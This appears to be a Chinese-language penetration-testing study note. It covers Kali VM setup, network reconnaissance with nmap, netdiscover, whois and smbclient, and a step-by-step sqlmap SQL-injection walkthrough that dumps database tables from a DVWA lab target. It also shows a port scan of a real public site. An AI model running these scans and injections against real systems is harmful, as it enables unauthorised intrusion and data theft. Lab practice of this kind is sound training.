渗透测试
配置kali虚拟机及常用命令的体验
使用VMware
配置kali虚拟机
下载kali镜像
从官网下载kali镜像
安装VMware
从官网下载VMware并安装
熟悉修改文本命令
kali的内核是Linux,通用Linux的文本修改操作
Linux中最常用的编辑器是vim,使用语法如下:
新建/打开文件:
1 | vi 文件名 # 若文件不存在,则新建;若文件存在,则打开 |
插入文本(三种模式):
1 | i # 在当前光标前插入 |
保存:
1 | :w # 保存 |
退出:
1 | :q # 退出 |
通过命令行方式管理文件
查看目录、切换目录、编辑文件
查看目录
1 | ls # 查看当前目录下的文件及文件夹 |
切换目录
1 | cd 目录名 # 切换到指定目录 |
编辑文件
1 | vi 文件名 # 打开文件 |
配网
进入网络配置文件vim/etc/network/interfaces # 设置ip、掩码、网关
编辑内容
1 | auto eth0 |
进入dns配置文件vim/etc/resolv.conf # 设置DNS
编辑内容
1 | nameserver <网关ip> |
配置好后,进行ping Baidu.com
1
2PING baidu.com (182.61.201.211) 56(84) bytes of data.
64 bytes from 182.61.201.211: icmp_seq=1 ttl=128 time=14.8 ms
出现类似如下结果,说明配网成功
配置软件源
由于kali自带的软件源ip多在国外,使用起来速度较慢,因此需要换国内源
以下是几个国内源:
1 | #中科大 |
这里以清华源
为例:
第一步:编辑/etc/apt/sources.list
文件,将原内容备份并删除
1 | sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak |
第二步:将清华源的内容复制到/etc/apt/sources.list
文件中
1 | vim /etc/apt/sources.list |
打开/etc/apt/sources.list.tuna
文件,将内容复制到/etc/apt/sources.list
文件中
1 | # 清华大学 |
第三步:更新软件源
1 | sudo apt update |
安装中文输入法
安装中文输入法(fcitx5 + 拼音)
1 | sudo apt install -y fonts-wqy-zenhei fcitx5 fcitx5-pinyin fcitx5-configtool |
- fonts-wqy-zenhei:文泉驿字体,中文显示更清晰
- fcitx5:输入法框架
- fcitx5-pinyin:拼音输入法引擎
- fcitx5-configtool:配置工具
配置环境变量 etc/bash.bashrc
文件(全体用户生效)
1 | export GTK_IM_MODULE=fcitx |
打开fcitx5 配置页面,添加pinyin
1 | fcitx5-configtool |
勾选pinyin输入法,ctrl+空格切换
信息获取
发现主机
ip地址规则
Netmask工具可以确定IP范围对应的子网掩码格式。
格式:netmask -c 起始ip:终止ip
假如输入为netmask -c 192.168.1.0:192.168.1.255
,意思是将从192.168.1.0
到192.168.1.255
的ip范围转换为CIDR
形式
输出为:192.168.1.0/24
确定网络拓扑
Traceroute工具确定网络拓扑结构,可以确定是外网还是局域网。
格式:traceroute ip地址/域名
目的是通过转跳服务器判断目的地是否在内网,若不是外网,则为局域网。
假设输入的为traceroute www.baidu.com
,意思是将本机到www.baidu.com
的服务器转跳信息显示出来
Linux默认使用UDP traceroute
,但在校园网环境中可能被拦截,导致一跳后都显示为超时符*
此时我们可以使用TCP traceroute
即可正常运行
命令为traceroute -T www.baidu.com
,-T
参数表示使用TCP
协议
扫描主机
使用Nmap工具
- 探测存活主机
- 扫描端口
- 探测主机操作系统信息
探测存活主机
格式:nmap -sn 目标ip范围
-sn
参数表示只进行主机发现,不进行端口扫描目标ip范围
表示要扫描的ip范围,格式为起始ip-终止ip
,例如192.168.1.0-192.168.1.255
- 扫描结果中
UP
的主机表示该主机处于开机状态,DOWN
的主机表示该主机处于关机状态或无法访问
此处,扫描61.139.2.0/24
上的设备,显示如下:
可以看到以下ip处于开机状态:
- 61.139.2.1
- 61.139.2.2
- 61.139.2.133
- 61.139.2.254
- 61.139.2.131
扫描端口
格式:nmap -p 端口范围 目标ip
-p
参数表示要扫描的端口范围端口范围
表示要扫描的端口范围,格式为起始端口-终止端口
,例如1-100
目标ip
表示要扫描的目标ip地址- 扫描结果中
open
的端口表示该端口处于开启状态,closed
的端口表示该端口处于关闭状态
此处,扫描bilibili.com
的前443个端口,显示如下:
可以看到以下端口开放:
- 25(tcp):smtp服务
- 80(tcp):http服务
- 110(tcp):pop3服务
- 443(tcp):https服务
探测主机操作系统信息
格式:nmap -O 目标ip
-O
参数表示要探测主机操作系统信息目标ip
表示要扫描的目标ip地址- 扫描结果中
OS
的信息表示该主机的操作系统信息
此处扫描Metasploitable2的ip:61.139.2.133
的操作系统信息,显示如下:
可以看到61.139.2.133
的操作系统为Linux 2.6.x
使用Netdiscover工具实施ARP主动扫描。
格式:netdiscover -r ip范围
ip范围
表示要扫描的ip范围
- 格式为
起始ip-终止ip
例如192.168.1.0-192.168.1.255
- 或使用
CIDR
形式,例如192.168.1.0/24
扫描之间的ip段61.139.2.0/24
,结果如下:
扫描出以下在线ip地址:
- 61.139.2.1
- 61.139.2.2
- 61.139.2.133
- 61.139.2.254
监听发现主机
使用Netdiscover工具的被动模式实施ARP监听。
上文阐述的使用Netdiscover工具实施ARP主动扫描
,本质上是对服务器发起主动请求,若目标主机在线则会返回响应信息。
而Netdiscover
工具的被动模式则是仅监听其他主机在局域网中的 ARP 广播流量,不发送任何数据包
格式:netdiscover -p
直接监听,结果如下:
此时只需要等待网络中的主机在局域网中的 ARP 广播流量即可
了解DHCP的主要作用,并实施DHCP监听来发现主机。
这也是个被动检测的过程,当有主机申请IP地址时,DHCP服务器会向局域网中的所有主机发送通知,通知其他主机有新的主机加入网络。
语法:dhcpdump -i eth0
检测eth0
网络端口上的DHCP流量
接下来就是漫长的等待,直至有主机申请IP地址
被动检测到了主机61.139.2.133
的IP地址
域名信息分析
使用whois工具查询域名相关信息。
语法:whois example.com
这里对我自己的域名baiyb.top
进行whois查询:
可以得到以下信息:
字段 | 含义 |
---|---|
Domain Name | 域名名称:baiyb.top |
Creation Date | 注册时间:2022 年 8 月 8 日 |
Registry Expiry Date | 到期时间:2032 年 8 月 8 日(注册了10年) |
Registrar | 注册商:阿里云 Alibaba Cloud Computing Ltd. (Net.cn) |
Registrar WHOIS Server | 查询WHOIS信息的服务器:whois.aliyun.com |
信息类型 | 内容 |
---|---|
域名 | baiyb.top |
注册时间 | 2022-08-08 |
到期时间 | 2032-08-08 |
注册商 | 阿里云 |
DNS 服务商 | HiChina(阿里) |
注册人信息 | 开启了隐私保护,看不到真实姓名、邮箱等 |
使用dmitry工具查询域名的子域名(需要vpn)。
语法:dmitry -d 域名
检查我的域名下是否有子域名:
由于查询需要vpn,所以Google的链接error
使用nslookup工具进行域名解析。
nslookup 是一个 DNS 查询工具,用于:
- 查看域名对应的 IP 地址
- 查询指定 DNS 服务器返回的解析结果
- 查看子域名是否存在
语法:nslookup 域名
依旧查看我的子域名blogchat.baiyb.top(博客评论区)
是否存在:blogchat.baiyb.top canonical name = cname.vercel-dns.com.
表示 blogchat.baiyb.top 实际是 一个 CNAME(别名)记录,它指向 cname.vercel-dns.com
也就是说:✅blogchat.baiyb.top
≈ cname.vercel-dns.com
意味着网站是托管在 Vercel 平台上的(确实)
使用ping命令探测域名。
语法:ping 域名/ip地址
ping命令用于测试与目标主机的连通性,即检查目标主机是否可达。
出现延迟、解析域名,说明可以联通我的博客
扫描端口
了解端口的作用、定义、分类以及常见的端口及用途。
端口(Port)是指计算机网络中,用来区分不同服务和进程的逻辑接口。它配合 IP 地址使用,用于唯一标识一台主机上的某个服务。
每个端口都是一个 16 位的数字,范围是0 - 65535
它不是物理设备,而是操作系统中管理网络连接的一个标识
📦 举例:
- IP 地址:192.168.1.100
- 端口号:80
- 合起来:192.168.1.100:80 表示这台主机上的网页服务
🧭 端口的作用
端口的主要作用是:
- 区分不同的服务:例如
HTTP
用80
,SSH
用22
,FTP
用21
- 多服务共存:一台服务器可以运行多个服务,通过不同端口访问
- 通信识别标识:用于
TCP/IP
协议通信中,确认数据该发给哪个进程
类型 | 范围 | 描述 |
---|---|---|
知名端口(Well-known ports) | 0 - 1023 | 被系统或知名服务预留,如 HTTP、FTP、SSH 等 |
注册端口(Registered ports) | 1024 - 49151 | 给用户程序或第三方应用使用 |
动态/私有端口(Dynamic/Private ports) | 49152 - 65535 | 系统动态分配用于客户端临时通信 |
使用nmap对部署的靶机进行端口扫描。
语法:nmap ip地址/域名
此处扫描Metasploitable2的ip:61.139.2.133
的操作系统信息,显示如下:
可以看到61.139.2.133
的开放端口
识别操作系统
使用Ping命令测试物理机和靶机的操作系统。
使用 ping 命令
无法直接判断操作系统类型,但可以通过它配合一些分析手段(如 TTL 值)初步猜测目标主机的操作系统。
TTL 值范围(默认) | 操作系统类型(可能) |
---|---|
Windows | 128(常见)、127-120 |
Linux/Unix | 64(常见)、63-60 |
Cisco/网络设备 | 255、254 等 |
现在分别对靶机(Linux)61.139.2.133
和物理机(Windows)61.139.2.1
使用ping
命令进行测试:
可以看到靶机的TTL值为64,而物理机的TTL值为128,这与我们之前的分析结果一致。
使用nmap工具测试物理机和靶机的操作系统。
语法:nmap -O ip地址
现在分别对靶机和物理机进行系统识别:
可以看到靶机61.139.2.133
的操作系统为Linux 2.6.x
可以看到物理机61.139.2.1
的操作系统为Windows 11
识别服务
使用nmap实施靶机服务版本探测。
语法:nmap -sV ip地址
探测靶机:
查询到开放端口的服务版本信息
使用amap工具识别靶机服务信息。
语法:amap <目标IP> <端口,端口,……>
这里以靶机的21
、22
、80
端口为例:
识别出:
- 端口 21:识别为 FTP 服务
- 端口 22:识别为 SSH,且识别为 OpenSSH
- 端口 80:识别为 HTTP,且识别为 Apache 2 版本
收集服务信息
使用smbclient访问物理机和靶机的SMB服务中的共享文件。
语法:smbclient -L ip地址
目的是列出目标主机上的共享文件和目录。
以靶机61.139.2.133
为例:
可以看到,列出了靶机里可访问的文件列表:
- print$
- tmp
- opt
- IPC$
- ADMIN$
以靶机61.139.2.1
为例:
可以看到,物理机的安全策略拒绝了访问
通过snmp协议和获取物理机和靶机的信息。(靶机没有snmp协议)
语法:snmpwalk -v 版本 -c 团体字 ip地址
分别以靶机和物理机为例:
均没有返回信息
漏洞利用-sqlmap
这里使用Metasploitable2
靶机内的dvwa靶场
进行演示
kali中打开火狐浏览器
访问靶机ip,进入dvwa靶场,用户名:admin
密码:password
进入后左侧找到DVWA Security
,按下图所示将难度设置为Low
选择SQL Injection
,进而得到含有get参数的url:
按F12
打开开发者工具,在Storage(应用)
选项中找到两个cookie
:
Step1:检测是否存在注入点
在kali终端输入:sqlmap -u "[目标url]" --cookie="[站点cookie]"
先检测是否存在注入点
对于本人现在的配置情况,应在kali终端
输入sqlmap -u "http://61.139.2.133/dvwa/vulnerabilities/sqli/?id=114514&Submit=Submit" --cookie="PHPSESSID=ac5cf12d26ecd51f0cb25fe5bff4acba; security=low"
得到输出如下:
其中包含如下代码:
1 | sqlmap resumed the following injection point(s) from stored session: |
这意味着:
- id 这个参数是可注入的
- sqlmap 成功测试出 4 种注入方式(布尔盲注、报错注入、时间盲注、联合注入)
- 每种方式都展示了具体的 Payload(注入语句)用于测试
Step2:展示目标网站的全部数据库
在终端输入:sqlmap -u "[目标url]" --cookie="[站点cookie]" --dbs
可获取数据库列表kali
输出如下:
其中,下面展示的这一部分就是目标网站的全部数据库:
1 | [*] dvwa |
Step3:展示目标数据库的全部数据表
在终端输入:sqlmap -u "[目标url]" --cookie="[站点cookie]" --dbs -D [数据库名] --tables
对mysql
数据库进行演示,得到输出如下:
其中,下面展示的这一部分就是mysql
数据库的全部数据表:
1 | [03:17:59] [INFO] fetching tables for database: 'mysql' |
Step4:展示指定表的全部字段
在终端输入:sqlmap -u "[目标url]" --cookie="[站点cookie]" --dbs -D [数据库名] --tables -T [表名] --columns
即可获得指定表的全部字段
以mysql
的user
为例:
其中,下面展示的这一部分就是user
表的全部字段:
1 | [03:30:14] [INFO] fetching columns for table 'user' in database 'mysql' |
Step5:导出目标数据库
在终端输入:sqlmap -u "[目标url]" --cookie="[站点cookie]" --dbs -D [数据库名] --tables -T [表名] --columns -C [字段名] --dump
即可导出指定字段的全部数据
以mysql
的user
表的User
字段为例:
其中,下面展示的这一部分就是user
表的User
字段的全部数据:
可以看出:
- 目标数据库有 3 个用户:
debian-sys-maint
(系统维护账户)root
(超级管理员)guest
(来宾账户)
- 所有账户的 Password 字段都是空的(
),说明: - 这些账户不设置密码,可能可以直接登录数据库!